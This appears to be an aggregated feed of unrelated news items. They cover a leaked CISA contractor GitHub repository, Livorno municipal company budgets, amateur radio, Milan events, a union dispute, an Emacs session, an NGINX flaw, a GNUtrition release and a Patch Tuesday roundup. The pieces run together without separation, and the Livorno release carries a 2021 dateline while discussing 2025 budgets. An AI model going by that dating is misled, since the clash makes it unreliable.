“That would be a prime place to move laterally,” he said. “Backdoor in some software packages, and every time they build something new they deploy your backdoor left and right.”

In response to questions, a spokesperson for CISA said the agency is aware of the reported exposure and is continuing to investigate the situation.

“Currently, there is no indication that any sensitive data was compromised as a result of this incident,” the CISA spokesperson wrote. “While we hold our team members to the highest standards of integrity and operational awareness, we are working to ensure additional safeguards are implemented to prevent future occurrences.”

A review of the GitHub account and its exposed passwords show the “Private CISA” repository was maintained by an employee of Nightwing, a government contractor based in Dulles, Va. Nightwing declined to comment, directing inquiries to CISA.

CISA has not responded to questions about the potential duration of the data exposure, but Caturegli said the Private CISA repository was created on November 13, 2025. The contractor’s GitHub account was created back in September 2018.

The GitHub account that included the Private CISA repo was taken offline shortly after both KrebsOnSecurity and Seralys notified CISA about the exposure. But Caturegli said the exposed AWS keys inexplicably continued to remain valid for another 48 hours.

CISA is currently operating with only a fraction of its normal budget and staffing levels. The agency has lost nearly a third of its workforce since the beginning of the second Trump administration, which forced a series of early retirements, buyouts, and resignations across the agency’s various divisions.

The now-defunct Private CISA repo showed the contractor also used easily-guessed passwords for a number of internal resources; for example, many of the credentials used a password consisting of each platform’s name followed by the current year. Caturegli said such practices would constitute a serious security threat for any organization even if those credentials were never exposed externally, noting that threat actors often use key credentials exposed on the internal network to expand their reach after establishing initial access to a targeted system.

“What I suspect happened is [the CISA contractor] was using this GitHub to synchronize files between a work laptop and a home computer, because he has regularly committed to this repo since November 2025,” Caturegli said. “This would be an embarrassing leak for any company, but it’s even more so in this case because it’s CISA.”

Comunicato a cura dell’uff. Stampa del Comune di Livorno.

Raggiunge i 208 milioni il valore totale della
produzione

Livorno, 18 maggio 2021 – Negli ultimi anni le società partecipate del Comune
di Livorno hanno consolidato risultati positivi sotto il profilo economico,
gestionale e della qualità dei servizi erogati ai cittadini, confermando il valore
strategico del sistema pubblico locale e la capacità delle aziende di affrontare le
sfide dell’innovazione, della sostenibilità e dell’efficienza amministrativa.

Il quadro che emerge dai bilanci evidenzia una crescita costante della solidità
patrimoniale e organizzativa di realtà fondamentali per il territorio come
Esteem Srl, Casalp Spa, AAMPS Spa, Farma.Li Srl e ASA Spa. I bilanci 2025,
alcuni dei quali in corso di approvazione in questi giorni ed entro il 30 giugno,
come previsto dal Codice Civile, non fanno eccezione, ma anzi confermano
questo trend positivo.

In particolare, AAMPS Spa ha registrato bilanci in utile negli ultimi cinque
esercizi, confermando il raggiungimento di un equilibrio economico e
finanziario stabile dopo il percorso di risanamento completato negli anni
precedenti.

Anche Casalp Spa ha dimostrato un consolidamento del ruolo operativo svolto
per i Comuni dell’area livornese ed in particolare si è distinta in questi anni per
le azioni di recupero delle morosità e per la capacità di guidare, su un tema
complesso ed attuale come quello dell’abitare, politiche finalizzate a gestire un
ambito che è sempre più lontano dalla gestione patrimoniale e sempre più
vicino a quello sociale.

Positivi anche i segnali provenienti da ASA Spa, che continua a rappresentare
un presidio essenziale per lo sviluppo infrastrutturale e ambientale del
territorio, mantenendo elevati standard di servizio e una struttura societaria
solida.

Crescita significativa anche per Esteem Srl, realtà attiva nei servizi informatici,
nel supporto alla gestione dei tributi comunali e nella gestione della sosta a
pagamento, che negli ultimi esercizi ha registrato un incremento del fatturato e
dell’occupazione, rafforzando il proprio ruolo di supporto tecnologico alla
pubblica amministrazione locale, confermando di essere una struttura in
espansione e capace di innovare i servizi digitali rivolti ai cittadini.

Importanti risultati sono stati raggiunti inoltre da Farma.Li Srl, con i propri
bilanci che negli ultimi anni evidenziano una gestione economica positiva e un
progressivo rafforzamento della capacità finanziaria dell’azienda. Farma.Li ha
proseguito il percorso di ammodernamento delle farmacie comunali, puntando
sulla qualità dell’assistenza, sulla prossimità territoriale e sull’innovazione dei
servizi sanitari e socioassistenziali.

Nel complesso, il sistema delle partecipate del Comune di Livorno conferma
dunque una traiettoria positiva, caratterizzata da investimenti, equilibrio
economico e miglioramento della qualità dei servizi pubblici locali. Un
patrimonio amministrativo e industriale che rappresenta un elemento
strategico per la crescita della città, per la tutela dell’interesse pubblico e per la
capacità del territorio di affrontare con solidità le sfide future.

Il sindaco Luca Salvetti ha aperto l’incontro sottolineando come le società
partecipate siano uno strumento imprescindibile per la gestione della città e dei
servizi ai cittadini. “Abbiamo lavorato sette anni sulla riorganizzazione e
l’aumento del personale, presentando numeri eloquenti, lo dimostrano i bilanci
in utile. Tutte e cinque le società principali (ASA, AMS, Farmali, Casalp e
Steam) hanno chiuso l’anno in positivo.
Il valore complessivo della produzione è di 208 milioni di euro, con un
incremento di 29 milioni rispetto al 2019.
Le aziende hanno raggiunto quota 1143 di personale con un aumento di 193
unità rispetto al 2019, diventando la terza realtà lavorativa del territorio dopo
l’ASL e il Comune stesso”.

L’Assessora al Bilancio con delega alle Società Partecipate Viola Ferroni ha
ringraziato l’Ufficio Società Partecipate, che ha definito la “spina dorsale” dei
risultati ottenuti. “Ribadisco l’importanza della governance pubblica per
perseguire obiettivi di interesse collettivo, andando oltre il semplice dato di
bilancio. Farmali ha concentrato il focus sulla vicinanza ai cittadini ed alla
ristrutturazione delle farmacie. Casalp ha ottenuto buoni risultati nel recupero
crediti e nell’efficientamento degli alloggi. Esteem ha incrementato i servizi,
inclusa la recente gestione della sosta a pagamento. Aamps ha raggiunto la
stabilità dopo un passato complicato che ha fatto “tribolare”
l’Amministrazione”.

Il direttore generale del Comune Nicola Falleni ha evidenziato il superamento
delle storiche criticità finanziarie delle partecipate: “che in passato
rappresentavano un “neo” nel bilancio comunale” ed ha fornito i dati del
bilancio consolidato 2024.

“Il “gruppo” (Comune + aziende) conta oltre 2.200 dipendenti. Valore della
produzione totale: quasi 570 milioni di euro. Utile consolidato: circa 14 milioni
di euro. Patrimonio netto: 763 milioni di euro”.

Aldo Iacomelli, Amministratore Unico AAMPS/Retiambiente ha dichiarato:
“Presenti e affidabili: con questi due aggettivi e in estrema sintesi sono nella
possibilità di descrivere la nostra azienda nel panorama delle municipalizzate
locali. Ogni giorno contribuiamo al decoro urbano con grande impegno e sforzo
da parte dei nostri operatori garantendo l’erogazione di servizi efficienti fin
dalle primissime ore della mattina sia sul versante della raccolta sia su quello
dello spazzamento. É importante sottolineare che per l’anno 2025 ci avvaliamo
di un utile di bilancio di 252mila euro. Un risultato che reputiamo importante
da affiancare all’evidenza di non avere registrato debiti. Siamo quindi orgogliosi
per quanto stiamo riuscendo complessivamente a fare, con uno sguardo di
ulteriore fiducia anche sul versante operativo essendo prossimi a realizzare,
avvalendoci anche di finanziamenti da parte della Regione Toscana, di due
ulteriori centri di raccolta per il corretto conferimento dei rifiuti dei cittadini. A
breve lanceremo anche una campagna di comunicazione rivolta a tutta la
cittadinanza per stringere ulteriormente il patto con i cittadini nel contrastare il
fenomeno degli abbandoni e aumentare le migliori azioni per la riduzione nella
produzione dei rifiuti indifferenziati, per la quale stiamo già registrando risultati
lusinghieri”.

Claudio Puccetti, amministratore unico di Farmali ha definito l’azienda con gli
aggettivi “tranquillo” e “partecipativo”.
Ha sottolinea il buon clima lavorativo tra i 60 dipendenti distribuiti su 9
farmacie. Ha messo in risalto la totale autonomia finanziaria della società, “che
permette di autofinanziare gli investimenti (come le ristrutturazioni di varie
farmacie) senza ricorrere a finanziamenti esterni.L’obiettivo futuro è spostare
la missione del farmacista sempre più verso i servizi di telemedicina”.

Marcello Canovaro presidente di Casalp ha utilizzato gli aggettivi “rigoroso” e
“partecipato” per definire il bilancio della società.
“La società ha superato pesanti difficoltà iniziate nel 2019 e ora chiude il
bilancio in positivo. Casalp non punta all’utile, ma a reinvestire ogni risorsa nel
mantenimento del patrimonio e in nuovi edifici.
Negli ultimi tre anni sono stati investiti oltre 50 milioni di euro nella provincia e
messi a disposizione degli assegnatari 592 appartamenti precedentemente
sfitti”.

Stefano Taddia presidente di Asa sceglie gli aggettivi “collettivo” e “sostenibile”.
Esprime orgoglio per i 56,7 milioni di euro di investimenti effettuati nell’ultimo
anno, segnando un +150% rispetto al 2020.
Sottolinea come l’efficienza delle società di servizio pubblico sia un elemento
fondamentale per la sostenibilità e il benessere del territorio.

Antonio Paladini amministratore unico di Esteem descrive l’azienda come
“consolidata” e “visionaria”.
Riporta una crescita enorme negli ultimi 12 anni: “il personale è passato da 9 a
40 dipendenti e il fatturato è salito da circa 450.000 euro a quasi 2 milioni di
euro. L’azienda si è evoluta accettando servizi nuovi e diversi, come la gestione
dei parcheggi, mantenendo però un’anima orientata all’innovazione informatica
per il futuro dei servizi ai cittadini”.

Il Sindaco ha concluso la conferenza stampa ringraziando gli Uffici Comunali e i
due assessori che si sono succeduti nella gestione delle partecipate, Gianfranco Simoncini e Viola Ferroni.

L'articolo Bilanci in utile delle cinque aziende partecipate del Comune di Livorno proviene da Aamps Livorno.

Elvira Simoncini entra nella DX Hall of Fame: un riconoscimento storico. A Dayton le è stato conferito uno dei più prestigiosi riconoscimenti del mondo radioamatoriale: l’ingresso nella DX Hall of Fame, considerata da molti il vero e proprio “Premio Nobel” dei DXer.

L’International DX Convention l’ha scelta tra numerosi candidati provenienti da tutto il mondo, premiando il suo eccezionale contributo alla comunità DX internazionale. Il riconoscimento valorizza in particolare le sue tante DXpedition, affrontate per la maggior parte in solitaria, con grande competenza, determinazione e spirito di avventura.

Solo due donne al mondo fanno parte della DX Hall of Fame, ed Elvira è la prima ad aver ottenuto questo onore esclusivamente per la sua intensa attività operativa DX.

Un risultato straordinario che rende orgogliosa tutta la comunità radioamatoriale italiana.

Der Radio Club des Montagnes Neuchâteloises «HB9LC» organisiert am Wochenende vom 30. und 31. Mai 2026 eine Funkaktivität im Chalet de La Serment.

Am Wochenende vom 30. und 31. Mai 2026 führt der Radio Club des Montagnes Neuchâteloises «HB9LC» einen gemeinsamen Funkbetrieb durch. Die Aktivität findet im Naturfreunde-Chalet «La Serment» statt, das auf dem Tête de Ran im Zentrum des Kantons Neuenburg liegt.

Dieses Treffen bietet Gelegenheit für technischen Austausch und Funkkontakte von einem erhöhten Standort aus. Die Verantwortlichen laden die Funkamateur-Gemeinschaft ein, den Anlass entweder vor Ort zu besuchen oder via HF-Verbindung zu begleiten.

Sämtliche logistischen Details und das Programm sind auf der offiziellen Webseite des Clubs abrufbar.

mni tnx to Philippe Metthez HB9EPM, Président, secrétaire et responsable du local de rencontre

Nel fine settimana torna Piano City Milano,
l’evento che trasforma Milano in un enorme palcoscenico diffuso a cielo aperto.

Dal 15 al 17 maggio, il festival proporrà più di 250 concerti gratuiti in oltre 140 luoghi sparsi per tutta la città.
Tra gli eventi più attesi ci sono quelli ospitati nei giardini della Villa Reale di Milano,
sede della Galleria d’Arte Moderna di Milano e simbolo storico della manifestazione.

Per tre giornate, questo spazio accoglierà esibizioni all’aperto dedicate al pianoforte, con un programma che unisce repertorio classico e sonorità contemporanee.

Ad aprire il festival, nella serata di venerdì, sarà Sofiane Pamart, protagonista del concerto inaugurale sul Main Stage della GAM.
Durante il weekend saliranno sul palco anche numerosi artisti italiani e internazionali, dando vita a un percorso musicale pensato per coinvolgere un pubblico di tutte le età.
L’accesso ai concerti sarà gratuito, anche se alcuni appuntamenti richiederanno la prenotazione online.

È proprio questa formula accessibile che continua a rendere Piano City uno degli eventi culturali più apprezzati sia dai milanesi sia dai turisti.
Anche sul web, infatti, viene spesso segnalato tra gli appuntamenti imperdibili della primavera milanese.

Tra musica dal vivo, arte e scenari iconici, Piano City Milano si conferma ancora una volta un’occasione speciale per scoprire e vivere Milano da una prospettiva diversa.

L'articolo Concerti gratuiti alla Villa Reale: la musica classica anima il centro di Milano proviene da InfoMilano.news.

Le Organizzazioni Sindacali USB Livorno e COBAS Lavoro Privato Livorno denunciano un fatto che ritengono estremamente grave, verificatosi in data 12 maggio 2026, presso la sede dell’Ispettorato Territoriale del Lavoro di Livorno, durante un tentativo di conciliazione tra la Cooperativa COOPLAT e cinque lavoratrici impiegate nell’appalto della committenza Unicoop Firenze presso il cantiere Fonti del Corallo – Via Gino Graziani - Livorno.

Il tentativo di conciliazione era stato richiesto dall’Organizzazione Sindacale al fine di sanare una situazione di applicazione irregolare dei turni che si protrae nel cantiere da anni, nonché per ottenere la regolarizzazione degli orari e la corretta applicazione del contratto di lavoro in essere.
Nel corso dell’ultimo dei tre incontri svolti presso l’ITL, la cooperativa ha presentato nuove proposte di variazione oraria che le lavoratrici, con il supporto delle OO.SS., hanno valutato come difficilmente accettabili, poiché relative a turni residuali rispetto a fasce orarie già assegnate ad altre lavoratrici che, a seguito del cambio di committenza, avevano prontamente sottoscritto le variazioni proposte dall’azienda. Tali modifiche, di fatto, formalizzavano orari già praticati senza alcuna regolarità rispetto ai contratti in essere, che peraltro non prevedono clausole elastiche o flessibili.
Durante l’ultimo incontro, a fronte della decisione di una lavoratrice di non sottoscrivere una proposta ritenuta peggiorativa rispetto alle condizioni del contratto vigente, la rappresentante legale della cooperativa si è espressa in modo non esplicito ma chiaramente udibile, chiedendo al responsabile delle risorse umane di attivare il licenziamento. Un’ipotesi già ventilata nei precedenti incontri e ormai diffusamente percepita nel cantiere tra le lavoratrici.
Riteniamo l&#039;accaduto di una gravità inaudita e inaccettabile, resa ancor più intollerabile dal fatto di essersi verificato, sfacciatamente, all&#039;interno di una sede istituzionale, in violazione di ogni principio di lealtà e correttezza.
Le rappresentanti sindacali presenti e la legale di riferimento non hanno ritenuto possibile far sottoscrivere alla lavoratrice alcun accordo né proseguire la discussione sulle ulteriori proposte, poiché la procedura non appariva genuina né realmente tutelante. La mancata accettazione della variazione oraria esponeva concretamente le lavoratrici al rischio di licenziamento, in un contesto caratterizzato da un’elevata discrezionalità aziendale, con possibili profili discriminatori legati all’essere o meno socia della cooperativa e a valutazioni puramente soggettive sul comportamento delle lavoratrici, considerate più o meno “compiacenti” nei confronti di responsabili e dirigenti.
Il tentativo di conciliazione si è ovviamente concluso con esito negativo. Le Organizzazioni Sindacali si riservano pertanto di attivare tutti gli strumenti sindacali a propria disposizione per rivendicare la tutela dei diritti delle lavoratrici e chiedono alla committenza di vigilare sull’appalto, assumendo una posizione chiara rispetto a comportamenti che ledono la qualità del lavoro e la dignità delle lavoratrici, molte delle quali operano da anni alle dipendenze della cooperativa anche in qualità di socie lavoratrici.

Unicoop Firenze, peraltro, è già stata più volte chiamata in causa e sollecitata a intervenire e a esprimersi nell’ambito di questo conflitto, sia indirettamente da COOPLAT,  che ha ripetutamente dichiarato la necessità di modificare i turni per richieste ed esigenze della committenza stessa, sia direttamente dai sindacati, che hanno provveduto a informarla delle criticità emerse e delle conseguenze che tali scelte stanno producendo sulle condizioni di lavoro delle lavoratrici coinvolte, richiedendo inoltre un incontro finalizzato ad aprire un confronto congiunto sulla gestione dell’appalto e delle condizioni di lavoro nel cantiere di Porta a Terra.

Riteniamo inaccettabile quanto accaduto e lesivo del ruolo e della funzione di una sede istituzionale nella quale la mediazione è finalizzata a garantire tutela ed equilibrio tra tutte le parti coinvolte. Chiediamo il rispetto delle sedi, dei ruoli e di relazioni sindacali improntate alla correttezza, nelle quali non può trovare spazio alcuna forma, esplicita o velata, di minaccia di licenziamento nei confronti di chi non intenda sottoscrivere u

na proposta aziendale ritenuta peggiorativa rispetto alle condizioni precedenti, soprattutto nel momento in cui viene richiesto il rispetto del contratto.
Nessuna lavoratrice può essere lasciata indietro!

In the recent weeks I've been engaging Prot as an Emacs coach to help with doing review passes over my upcoming ffs package as I work on polishing and documenting it in preparation for offering it for inclusion in GNU ELPA.

UPDATE 2026-05-15 08:50:10 -0400: Prot also published an article about our session on his website: https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/

Today we had our third session where we started by reviewing and talking about my recent changes to ffs, then ventured to other Emacs-related topics with the overarching theme of the flexibility and extensibility of GNU Emacs, including display-buffer-alist, keyboard macros, defining a custom ox-bhtml Org export backend derived from Org's ox-html for ultimate flexibility when exporting my site's pages from Org to HTML, Org capture, plain text files and Emacs's diary and how it compares to org-agenda, and keeping a journal with the help of Emacs.

Here is the video recording of our session, which I share with Prot's permission:

You can view or download the full-resolution video from the Internet Archive.

Lastly, here is the snippet Prot shared for having Isearch treat space as a wildcard, helpful for more easily matching multiple parts of a line:

(setq search-whitespace-regexp ".*?")
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)

Take care, and so long for now.

Una vulnerabilità critica rimasta nascosta per quasi due decenni sta scuotendo il mondo della sicurezza applicativa. I ricercatori di depthfirst hanno infatti identificato una falla nel modulo di rewrite di NGINX che potrebbe consentire a un attaccante remoto non autenticato di causare crash dei processi oppure, in determinate condizioni, ottenere esecuzione di codice remoto (RCE). […]

L'articolo NGINX Rift, rischio RCE per una falla rimasta nascosta 18 anni proviene da Securityinfo.it.

Fedora Hummingbird brings the same approach to the host OS as it does to containers to level up security.

Dal 19 al 21 maggio, al Polo Fibonacci dell’Università di Pisa, tre giorni con gli esperti di reti e innovazione digitale

Vincenzo Gallotto sarà tra i relatori di APMAT2026, l’evento nazionale di Assoprovider in programma il 5 giugno 2026 a Matera, presso Casa Cava. Avvocato, Data Protection Officer, consulente legale di Assoprovider e Responsabile delle liste AP-LEGAL e AP-CHATLEGAL, Gallotto interverrà sul tema “NIS2 – opportunità e percorso di adeguamento per gli operatori”. La Direttiva NIS2, […]

L'articolo Vincenzo Gallotto ad APMAT2026: NIS2, opportunità e percorso di adeguamento per gli operatori proviene da Assoprovider.

A test release of GNUtrition, 0.33.0rc2, is now available.

GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release makes some fixes to the gender option.  It also applies a fix to ./version.sh that affected builds from CVS checkouts, which was not an issue with the tarball, due to the tarballs including the version in a .ver file.

More information about GNUtrition may be found on its home page at http://www.gnu.or ... tware/gnutrition/.  This test release can be obtained from the alpha.gnu.org server at one of the following:

• ftp://alpha.gnu.o ... g/gnu/gnutrition/
• http://alpha.gnu. ... g/gnu/gnutrition/
• https://alpha.gnu ... g/gnu/gnutrition/

Please report any problems you experience to the GNUtrition bug reports mailing list: <bug-gnutrition@gnu.org> (https://lists.gnu ... fo/bug-gnutrition).

With the rise of Linux vulnerabilities, the kernel developers are now considering adding a component that could help temporarily mitigate against them… in the form of a kill switch.

Terra Infecta di Andrea Bagnato (Mack, 2026) è una controstoria dei paesaggi urbani e rurali italiani. Ricostruisce la distruzione delle zone umide venete, le politiche di «risanamento» urbano e spostamenti di popolazione a Napoli e Materia, e il periodo del confinamento in Lombardia durante la pandemia di Covid. Il libro è al tempo stesso una critica dell'igiene come dispositivo di controllo e una raccolta di momenti rivelatori di comunità, guarigione e resistenza.

Il 27 aprile 2026 Bagnato ha presentato Terra Infecta alla libreria Modo Infoshop di Bologna, affiancato da Chiara Davino, architetta e ricercatrice all'Università di Bologna, e Wu Ming 1. Buon ascolto.

APMAT26 rafforza il dialogo tra operatori indipendenti a livello europeo. Tra i protagonisti dell’evento nazionale di Assoprovider ci sarà anche AOTEC, l’associazione spagnola degli operatori locali TLC, punto di riferimento nel panorama europeo delle reti indipendenti. AOTEC riunisce imprese che, come molti associati Assoprovider, portano connettività, fibra, servizi digitali e innovazione nei territori, spesso dove […]

L'articolo AOTEC è partner internazionale di APMAT2026 proviene da Assoprovider.

APMAT26 amplia il confronto tra operatori e produttori di tecnologia. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche Tenda, realtà internazionale specializzata nello sviluppo e nella distribuzione di soluzioni per il networking. L’azienda propone un’offerta completa che include router Wi-Fi, sistemi mesh, switch, gateway, soluzioni per reti business ed enterprise wireless, CPE, base […]

L'articolo Tenda è sponsor di APMAT2026 proviene da Assoprovider.

APMAT26 rafforza il suo respiro internazionale. Tra gli sponsor dell’evento nazionale di Assoprovider ci sarà anche ALEA Soluciones, realtà spagnola specializzata nello sviluppo di soluzioni tecnologiche per operatori TLC, con una lunga esperienza a supporto di ISP, WISP e operatori locali. La presenza di ALEA contribuirà ad arricchire il confronto tra operatori indipendenti italiani ed […]

L'articolo ALEA Soluciones è sponsor di APMAT2026 proviene da Assoprovider.

APMAT26 continua il suo percorso insieme alle realtà che negli anni hanno accompagnato la crescita della community degli operatori di prossimità. Tra gli sponsor dell’edizione 2026 ci sarà anche SICE Telecom, azienda storica del settore TLC specializzata in soluzioni wireless, ponti radio, infrastrutture per WISP e ISP e distribuzione di tecnologie per reti professionali. Da […]

L'articolo SICE Telecom è sponsor di APMAT2026 proviene da Assoprovider.

APMAT26 continua a costruire connessioni tra operatori, tecnologie e visioni europee. Tra gli sponsor dell’edizione 2026 ci sarà anche Vayu, realtà italiana specializzata nello sviluppo di software e servizi di consulenza per ISP e WISP, con soluzioni dedicate agli operatori wired e wireless. Un’azienda che negli anni ha sviluppato un approccio fortemente orientato alle esigenze […]

L'articolo Vayu: sponsor APMAT 2026 proviene da Assoprovider.

APMAT26 ospiterà l’intervento dell’On. Enzo Amich, Deputato della Repubblica, membro della IX Commissione Trasporti, Poste e Telecomunicazioni della Camera dei Deputati e Presidente dell’Intergruppo parlamentare “Sostenibilità Digitale e Sovranità Tecnologica”. La sua partecipazione assume per Assoprovider un valore particolarmente significativo, perché rafforza un dialogo istituzionale aperto da tempo sui temi delle telecomunicazioni, delle infrastrutture digitali […]

L'articolo On. Enzo Amich ad APMAT26: infrastrutture digitali, territori e sovranità tecnologica proviene da Assoprovider.

APMAT26 ospiterà l’intervento di Gonzalo Elguezabal Ayala, rappresentante di AOTEC, l’associazione spagnola degli operatori locali di telecomunicazioni. La presenza di AOTEC rappresenta uno dei passaggi più significativi dell’edizione 2026: per la prima volta, il confronto promosso da Assoprovider si apre in modo strutturato al dialogo con una realtà associativa europea molto vicina all’esperienza degli Operatori […]

L'articolo Gonzalo Elguezabal Ayala ad APMAT26: il confronto europeo con AOTEC proviene da Assoprovider.

APMAT26 ospiterà l’intervento di José Carlos Oya Ortega, CEO di 7Play, che porterà all’evento la propria esperienza diretta come Operatore di Prossimità nel mercato spagnolo delle telecomunicazioni. La sua presenza rappresenta un’occasione importante per rafforzare il confronto tra operatori italiani e spagnoli, mettendo al centro esperienze concrete, modelli di crescita, strategie commerciali e sfide operative […]

L'articolo José Carlos Oya Ortega ad APMAT26: l’esperienza di 7Play nel mercato telco spagnolo proviene da Assoprovider.

APMAT26 ospiterà l’intervento di Pere Antentas Costa, CEO di Rede Aberta, una delle realtà più interessanti del panorama spagnolo delle telecomunicazioni territoriali. La sua presenza arricchirà il confronto internazionale dell’evento, offrendo agli Operatori di Prossimità italiani l’opportunità di conoscere da vicino un modello di sviluppo fondato su fibra ottica, accesso aperto, copertura delle aree rurali […]

L'articolo Pere Antentas Costa ad APMAT26: l’esperienza di Rede Aberta per le reti territoriali europee proviene da Assoprovider.

APMAT26 vedrà la partecipazione di Antonio Prado, Consulente Tecnico di Assoprovider e figura di riferimento nel panorama italiano delle reti e delle infrastrutture Internet. Dottore di ricerca in Computer Science, con un Master universitario di II livello in Innovazione nella Pubblica Amministrazione, Antonio Prado è ricercatore esterno presso il Dipartimento di Ingegneria dell’Informazione dell’Università di […]

L'articolo Antonio Prado ad APMAT26: competenze tecniche al servizio degli Operatori di Prossimità proviene da Assoprovider.

APMAT26 ospiterà l’intervento di Livio Morina, Presidente di PeeringDB e professionista con una lunga esperienza nel mondo delle reti, dell’interconnessione e delle infrastrutture Internet. La sua presenza porterà all’evento un contributo tecnico di grande valore su temi molto concreti per gli Operatori di Prossimità: AS Number, peering, interconnessione, aggiornamento dei dati di rete, visibilità internazionale […]

L'articolo Livio Morina, Presidente PeeringDB, ad APMAT26 proviene da Assoprovider.

L'articolo Fuga da Big Tech proviene da Guerre di Rete.

SOMO

Solo Modernariato

23 – 24 maggio 2026

Superstudio Più, Milano

Gli spazi del Superstudio Più ospitano l’unica fiera in Italia dedicata esclusivamente al modernariato,
per un viaggio tra estetica, storia e sostenibilità.

Dopo il successo delle precedenti edizioni, SOMO (Solo Modernariato) compie il grande salto e arriva a Milano. L’appuntamento è per il fine settimana del 23 e il 24 maggio 2026 in Via Tortona 27, cuore pulsante della Milano Design Week, all’interno degli spazi del Superstudio Più.

L’approdo a Milano segna la maturità di SOMO. La scelta della sede non è casuale, portare il modernariato puro in Via Tortona significa infatti rimettere la storia del design al centro del dibattito contemporaneo.

SOMO non è una semplice mostra – mercato, ma è un percorso immersivo nella storia dello stile che evidenzia il meglio di un’epoca che ha ridefinito l’estetica globale.

Tutti i tesori del XX secolo saranno messi in vendita da oltre 70 espositori d’eccellenza provenienti da tutta la penisola, come Curiosità d’altri Tempi, Otomana, Sessantotto, Artime, Officina 84, Stov, Creazioni D’interni per citarne alcuni, che offriranno al pubblico una panoramica unica sulla produzione che va dal secondo dopoguerra agli eclettici anni Ottanta.

In un mondo dominato dal consumo rapido e “usa e getta”, SOMO propone un’inversione di rotta: l’acquisto consapevole. Il modernariato, infatti, è l’antitesi dello spreco: comprare design del XX secolo significa scegliere oggetti dal valore culturale crescente, capaci di unire estetica, utilità e creatività. È l’incontro perfetto tra il fascino del passato e il gusto attuale, dove l’identità dell’oggetto diventa protagonista dell’arredamento.

Ogni pezzo che sarà possibile trovare a SOMO è infatti un frammento di storia pronto a iniziare una nuova vita. Oggetti nati da una fattura artigianale d’altri tempi, progettati per durare, spesso ritenuti significativi in quanto testimonianza dell’evoluzione del design e per questo ancora oggi riscontrano particolare interesse sul mercato dell’arredamento e dell’oggettistica.

Dalla poltrona d’autore, protagonista delle pellicole che hanno fatto la storia del cinema, ai complementi d’arredo capaci di trasformare radicalmente l’identità di un ambiente domestico, ogni oggetto è scelto per la sua capacità di raccontare una storia.

Gli espositori presenti offriranno una vasta gamma di pezzi iconici nati dalla visione dei grandi maestri del design mondiale. Tra le proposte spiccano l’illuminazione d’avanguardia di Artemide, le sedute intramontabili di Luigi Caccia Dominioni, il rigore architettonico degli arredi di Franco Albini e pezzi che nascono dalle visioni rivoluzionarie di Joe Colombo, Le Corbusier e Charles & Ray Eames.

Un tributo non solo ai designer, ma anche ai brand italiani che hanno trasformato idee visionarie in simboli globali, riscrivendo la storia della qualità manifatturiera.

Che si tratti di illuminazione, mobili o piccoli complementi d’arredo, SOMO si propone come il nuovo punto di riferimento per chi cerca l’autenticità in un mercato sempre più standardizzato.

L’alto profilo curatoriale, inoltre, si fonde con una proposta accessibile, capace di emozionare tanto il collezionista esperto quanto il giovane appassionato alla ricerca del suo primo “pezzo vero”.

La storia di SOMO

SOMO prende vita nel 2024 vicino a Bergamo, presso lo Spazio Fase (uno dei simboli più affascinanti di archeologia industriale del territorio), partendo da una profonda riflessione sul panorama del collezionismo attuale: per troppo tempo il modernariato è rimasto confinato in angoli di mercatini generalisti o fiere eterogenee e mai valorizzato come unicità. Il progetto nasce per colmare questo vuoto.

SOMO non è una semplice fiera, ma un’operazione culturale volta a valorizzare ogni singolo pezzo come opera d’arte, creando un’esperienza espositiva senza precedenti che mette in risalto l’identità stilistica e la storia di ogni arredo.

Per informazioni

SOMO – Solo Modernariato

23-24 maggio 2026

Superstudio più

Via Tortona, 27 – 20144, Milano

www.solomodernariato.com

fierasomo@gmail.com

Tel. 3518568819

Instagram @somo_designmarketitaly

Facebook https://www.facebook.com/somodesignmarket    

–

Ingresso
8,50 euro
Link per acquistare i biglietti
https://qromo.it/q/?t=kvwymc4g

Orari
Sabato: 10 – 19
Domenica: 10 – 18

L'articolo Arriva a Milano SOMO – Fiera dedicata interamente al Modernariato proviene da InfoMilano.news.

Artificial intelligence platforms may be just as susceptible to social engineering as human beings, but they are proving remarkably good at finding security vulnerabilities in human-made computer code. That reality is on full display this month with some of the more widely-used software makers — including Apple, Google, Microsoft, Mozilla and Oracle — fixing near record volumes of security bugs, and/or quickening the tempo of their patch releases.

As it does on the second Tuesday of every month, Microsoft today released software updates to address at least 118 security vulnerabilities in its various Windows operating systems and other products. Remarkably, this is the first Patch Tuesday in nearly two years that Microsoft is not shipping any fixes to deal with emergency zero-day flaws that are already being exploited. Nor have any of the flaws fixed today been previously disclosed (potentially giving attackers a heads up in how to exploit the weakness).

Sixteen of the vulnerabilities earned Microsoft’s most-dire “critical” label, meaning malware or miscreants could abuse these bugs to seize remote control over a vulnerable Windows device with little or no help from the user. Rapid7 has done much of the heavy lifting in identifying some of the more concerning critical weaknesses this month, including:

• CVE-2026-41089: A critical stack-based buffer overflow in Windows Netlogon that offers an attacker SYSTEM privileges on the domain controller. No privileges or user interaction are required, and attack complexity is low. Patches are available for all versions of Windows Server from 2012 onwards.
• CVE-2026-41096: A critical RCE in the Windows DNS client implementation worthy of attention despite Microsoft assessing exploitation as less likely.
• CVE-2026-41103: A critical elevation of privilege vulnerability that allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely.

May’s Patch Tuesday is a welcome respite from April, which saw Microsoft fix a near-record 167 security flaws. Microsoft was among a few dozen tech giants given access to a “Project Glasswing,” a much-hyped AI capability developed by Anthropic that appears quite effective at unearthing security vulnerabilities in code.

Apple, another early participant in Project Glasswing, typically fixes an average of 20 vulnerabilities each time it ships a security update for iOS devices, said Chris Goettl, vice president of product management at Ivanti. On May 11, Apple shipped updates to address at least 52 vulnerabilities and backported the changes all the way to iPhone 6s and iOS 15.

Last month, Mozilla released Firefox 150, which resolved a whopping 271 vulnerabilities that were reportedly discovered during the Glasswing evaluation.

“Since Firefox 150.0.0 released, they have been on a more aggressive weekly cadence for security updates including the release of Firefox 150.0.3 on May Patch Tuesday resolving between three to five CVEs in each release,” Goettl said.

The software giant Oracle likewise recently increased its patch pace in response to their work with Glasswing. In its most recent quarterly patch update, Oracle addressed at least 450 flaws, including more than 300 fixes for remotely exploitable, unauthenticated flaws. But at the end of April, Oracle announced it was switching to a monthly update cycle for critical security issues.

